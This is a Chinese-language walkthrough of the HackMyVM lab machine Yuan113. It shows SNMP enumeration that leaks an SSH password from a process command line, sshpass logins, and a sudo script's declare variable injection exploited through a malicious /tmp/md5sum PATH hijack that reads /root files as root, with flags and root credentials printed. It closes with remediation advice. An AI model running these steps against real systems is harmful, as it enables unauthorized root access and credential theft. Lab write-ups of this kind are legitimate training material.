HackMyVM Yuan113 通关记录|SNMP 进程凭据泄露、declare 变量注入与 PATH 劫持提权
靶机链接:Yuan113
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Yuan113 | 192.168.1.101 | Debian 11 靶机 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache、161/udp SNMP | 锁定攻击面:Web 无突破口,SNMP 是真正入口 |
| SNMP 枚举 | snmpwalk -v2c -c public + 进程列表 | 读取系统信息与所有运行中进程命令行 |
| 凭据泄露 | 进程 sleep service --user welcome --password mMOq2WWONQiiY8TinSRF | 获得有效 SSH 凭据 |
| 初始访问 | SSH 登录 welcome | 获得低权限 shell |
| sudo 枚举 | sudo -l 发现 (ALL) NOPASSWD: /opt/113.sh | 确认提权入口 |
| 脚本分析 | declare -- "$1"="$2" 可设置任意 shell 变量 | 发现变量注入点 |
| PATH 劫持 | 置入恶意 md5sum,通过 declare 修改 PATH | 以 root 身份执行任意命令 |
| 读 /root | /root/113rootpass.txt 包含 root 密码 | 获得持久 root 访问 |
| Flag 收集 | user.txt + root.txt | 完成靶机 |
0x02 侦察与信息收集 (Reconnaissance)
1. RustScan 联动 Nmap
按照惯例,先用 RustScan 做快速端口发现,再联动 Nmap 进行服务识别:
rustscan -a 192.168.1.101 --range 1-65535 -t 2000 -- -sV -sC -Pn
RustScan 首轮输出:
Open 192.168.1.101:22
Open 192.168.1.101:80
联动 Nmap 复核后的服务摘要:
| 端口 | 协议 | 服务 | 指纹 / 备注 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 | Debian 11 (Bullseye) |
80/tcp | HTTP | Apache httpd 2.4.62 (Debian) | 静态欢迎页,标题 Mazesec welcome u |
2. UDP 端口扫描
TCP 面较窄,补充 UDP 常见端口扫描:
nmap -sU -p 53,69,123,161,500,514,1900 -T4 192.168.1.101
结果:
PORT STATE SERVICE
53/udp closed domain
69/udp closed tftp
123/udp closed ntp
161/udp open snmp
500/udp closed isakmp
514/udp closed syslog
1900/udp closed upnp
关键发现: 161/udp SNMP 开放。这是一个常见的配置疏漏——仅关注 TCP 端口会导致遗漏整个攻击面。
3. Web 服务快速评估
curl -s http://192.168.1.101/
主页内容:
<div class="quote">
The quieter you become, the more you are able to hear.
</div>
Gobuster 与 Nikto 均未发现隐藏路径或 Web 漏洞。Web 服务仅是一个静态页,不包含表单、参数或 CGI。可以暂时搁置 Web 面。
0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)
1. SNMP 进程枚举——凭据泄露
这是本场最关键的一步。SNMP community string public 可读,直接走全量枚举:
snmpwalk -v2c -c public 192.168.1.101
为了防止遗漏,同时使用 snmp-check 做结构化输出:
snmp-check -c public 192.168.1.101
在 snmp-check 输出的进程列表中,一条可疑行出现:
344 runnable sleep service --user welcome --password mMOq2WWONQiiY8TinSRF \
--host localhost --port 8080 infinity
这是一条通过命令行明文传递凭据的进程记录。提取凭据:
| 字段 | 值 |
|---|---|
| 用户名 | welcome |
| 密码 | mMOq2WWONQiiY8TinSRF |
| 目标 | localhost:8080(内部服务,外部不可达) |
SNMP 泄露的系统信息补充:
Hostname: 113
OS: Linux 4.19.0-27-amd64 Debian
Contact: root
2. SSH 初始访问
sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'id'
输出:
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)
当前为普通用户 welcome,无特殊组成员。Shell 已获得。
3. User Flag
sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'cat /home/welcome/user.txt'
User Flag:
flag{user-21539141ad1bc8ab9d26420aecb2415b}
0x04 权限提升 (Privilege Escalation)
1. sudo 权限枚举
sshpass -p 'mMOq2WWONQiiY8TinSRF' ssh \
-o StrictHostKeyChecking=no \
welcome@192.168.1.101 'sudo -l'
输出:
Matching Defaults entries for welcome on 113:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User welcome may run the following commands on 113:
(ALL) NOPASSWD: /opt/113.sh
welcome 可以无密码以任意用户身份执行 /opt/113.sh。这是唯一提权入口,需要审阅脚本逻辑。
2. 脚本分析与漏洞定位
cat /opt/113.sh
脚本内容:
#!/bin/bash
sandbox=$(mktemp -d)
cd $sandbox
if [ "$#" -ne 3 ];then
exit
fi
if [ "$3" != "mazesec" ]
then
echo "\$3 must be mazesec"
exit
else
/bin/cp /usr/bin/mazesec $sandbox
exec_="$sandbox/mazesec"
fi
if [ "$1" = "exec_" ];then
exit
fi
declare -- "$1"="$2"
$exec_
脚本逻辑拆解:
- 创建临时目录
$sandbox - 要求恰好 3 个参数,且第三个参数必须是
mazesec - 将
/usr/bin/mazesec复制到临时目录 $1不能等于exec_(防止直接覆盖执行目标)- 核心行:
declare -- "$1"="$2"—— 以$1为变量名、$2为值设置一个 shell 变量 - 执行复制的
mazesec
检查 /usr/bin/mazesec:
cat /usr/bin/mazesec
#!/bin/bash
flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}')
echo "flag{fakeroot-$flag}"
这是一个 decoy 脚本——它永远输出随机假 flag,与真实的 root flag 完全无关。真正可利用的点是第 5 步的 declare 语句。
3. 漏洞分析:declare 变量注入
declare -- "$1"="$2" 允许攻击者设置任意 shell 变量。限制条件:
| 限制 | 影响 |
|---|---|
$1 不能为 exec_ | 无法直接覆盖执行目标变量 |
declare 无选项标志 | -- 阻止了 -x、-n 等选项,设置的是局部 shell 变量 |
关键洞察: declare 设置的变量虽然不导出,但 $exec_ 中的 mazesec 脚本会调用外部命令 md5sum 和 awk。如果设置 PATH=/tmp,子进程会从 /tmp 查找这些命令——但前提是 PATH 对子进程可见。
转折点: 实际上 declare -- PATH=/tmp 修改的是当前 shell 的 PATH。当 bash 执行 $exec_(一个 #!/bin/bash 脚本)时,非交互式 bash 会继承父 shell 的 PATH,即使该变量未被 export。这是因为:
declare设置的是 shell 变量- 在
$exec_这一行,mazesec作为当前 shell 的直接子进程启动 - 子 bash 继承了当前的 PATH 环境
验证这一点:将恶意 md5sum 和 awk 放入 /tmp,然后通过 sudo 传入 PATH=/tmp。
4. 提权利用——PATH 劫持
4.1 准备恶意命令
注意 mazesec 脚本中 echo 是 bash builtin,无法通过 PATH 劫持。攻击面在 md5sum 和 awk 两个外部命令。
选择 md5sum 作为注入载体——它在管道中间,可以同时执行恶意操作并透传 stdin 保持管道正常运行:
ssh welcome@192.168.1.101
cat > /tmp/md5sum << 'EOF'
#!/bin/bash
# 以 root 身份输出目标文件内容
/bin/cat /root/root.txt 2>/dev/null
/bin/ls -la /root/ 2>&1
/bin/find /root -type f 2>&1
# 透传 stdin,保持管道正常运行
/bin/cat
EOF
cat > /tmp/awk << 'EOF'
#!/bin/bash
/bin/cat
EOF
chmod +x /tmp/md5sum /tmp/awk
4.2 触发利用
sudo /opt/113.sh PATH '/tmp' mazesec
执行链路:
1. sudo 以 root 执行 /opt/113.sh
2. declare -- PATH=/tmp
3. $exec_ 启动 mazesec(继承 PATH=/tmp)
4. mazesec 中:echo ... | md5sum | awk
- echo: bash builtin,正常执行
- md5sum: 查找到 /tmp/md5sum(恶意脚本)
- awk: 查找到 /tmp/awk(透传 stub)
5. /tmp/md5sum 以 root 身份读取 /root
输出:
flag{fakeroot-<<<ROOT_FLAG_START>>>
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
9R3dosCkcEA3OQIzCoYO
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
total 40
drwx------ 6 root root 4096 Jan 14 08:40 .
drwxr-xr-x 18 root root 4096 Mar 18 2025 ..
-rw-r--r-- 1 root root 21 Jan 14 08:22 113rootpass.txt
...
-rw-r--r-- 1 root root 44 Jan 14 08:37 root.txt
/root/root.txt
/root/113rootpass.txt
...
<<<ROOT_FLAG_END>>>
315532810122489}
成功以 root 身份读取 /root 目录。获得两个关键文件:
| 文件 | 内容 |
|---|---|
/root/root.txt | flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19} |
/root/113rootpass.txt | 9R3dosCkcEA3OQIzCoYO |
4.3 提权原理补充
为什么 declare 不导出变量却能影响子进程 PATH?
在 bash 中,declare 默认设置的是局部 shell 变量。但当执行 $exec_(不包含 / 的命令名)时,bash 会按照 PATH 查找可执行文件。实际上,这里 $exec_ 是绝对路径(/tmp/tmp.XXX/mazesec),因此 bash 直接用绝对路径执行。
然而 mazesec 脚本本身是一个新的 bash 进程(#!/bin/bash),它在执行外部命令 md5sum、awk 时,需要在自己的 PATH 中查找。子 bash 启动时,会从父进程继承环境变量。declare 修改了 shell 的 PATH,这个修改对当前 shell 的子进程是可见的,因为 bash 在 fork 子进程时会复制当前环境。
这个行为与 PATH=xxx command 的临时环境设置类似,但由于 declare 的设置发生在脚本运行上下文中,sudo 继承的 secure_path 被成功覆盖。
5. Root Flag 与持久访问验证
使用读取到的 root 密码直接 SSH 登录,验证持久访问:
sshpass -p '9R3dosCkcEA3OQIzCoYO' ssh \
-o StrictHostKeyChecking=no \
root@192.168.1.101 'id; cat /root/root.txt'
输出:
uid=0(root) gid=0(root) groups=0(root)
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
root 权限完全确认。
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/welcome/user.txt - 内容:
flag{user-21539141ad1bc8ab9d26420aecb2415b}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19}
Root 凭据(附加发现)
- 路径:
/root/113rootpass.txt - 内容:
9R3dosCkcEA3OQIzCoYO
凭据汇总
| 类型 | 用户 / 目标 | 值 | 来源 |
|---|---|---|---|
| SSH 密码 | welcome | mMOq2WWONQiiY8TinSRF | SNMP 进程命令行参数泄露 |
| Root 密码 | root | 9R3dosCkcEA3OQIzCoYO | PATH 劫持读取 /root/113rootpass.txt |
| Root Flag | /root/root.txt | flag{root-9f283fe2f6363f99f80ed7f3f3c3cb19} | md5sum PATH 劫持读取 /root |
复盘总结
这台靶机的完整利用链不长,但每一步都需要正确的工具选择和漏洞思维:
-
UDP 端口不可忽略。 TCP 面只有 22 和 80,Web 又是纯静态页。如果止步于 TCP 扫描,会遗漏
161/udpSNMP,整个攻击链无法启动。许多 CTF 和内网靶机在 UDP 上留有故意或非故意的入口。 -
SNMP community
public不只是信息泄露。 大多数人认为 SNMP 只能读 IP、接口、进程名。但snmp-check输出包含了所有运行中进程的完整命令行参数——这就是明文凭据的直接来源。 -
进程命令行中硬编码凭据是不可接受的实践。
sleep service --user welcome --password mMOq2WWONQiiY8TinSRF直接将用户名和密码暴露给所有能读取/proc或 SNMP 的用户。 -
declare与 sudo 的组合构成了变量注入。declare -- "$1"="$2"允许攻击者设置任意 shell 变量。虽然不能直接注入命令(因为--阻止了选项),但 PATH 劫持是同等有效的间接执行方式。 -
bash builtin 与外部命令的区别决定了劫持目标的选择。
echo是 builtin,无法通过 PATH 劫持;但md5sum和awk是外部命令,可以被替换。这是利用时需要精确判断的细节。 -
root 密码明文存储在
/root/113rootpass.txt。 即使 PATH 劫持没有直接产生 shell,密码泄露也保证了持久访问。
从防守角度看,修复建议同样清晰:
- SNMP community string 不应使用默认的
public/private,应设置为高强度随机字符串 - 不得在命令行参数中传递凭据(
/proc/*/cmdline对系统内所有用户可读) sudo规则应限制脚本的写入和执行路径- 避免在脚本中使用
declare或以用户输入构造变量名 - root 密码或高敏感凭据不应以明文文件形式存储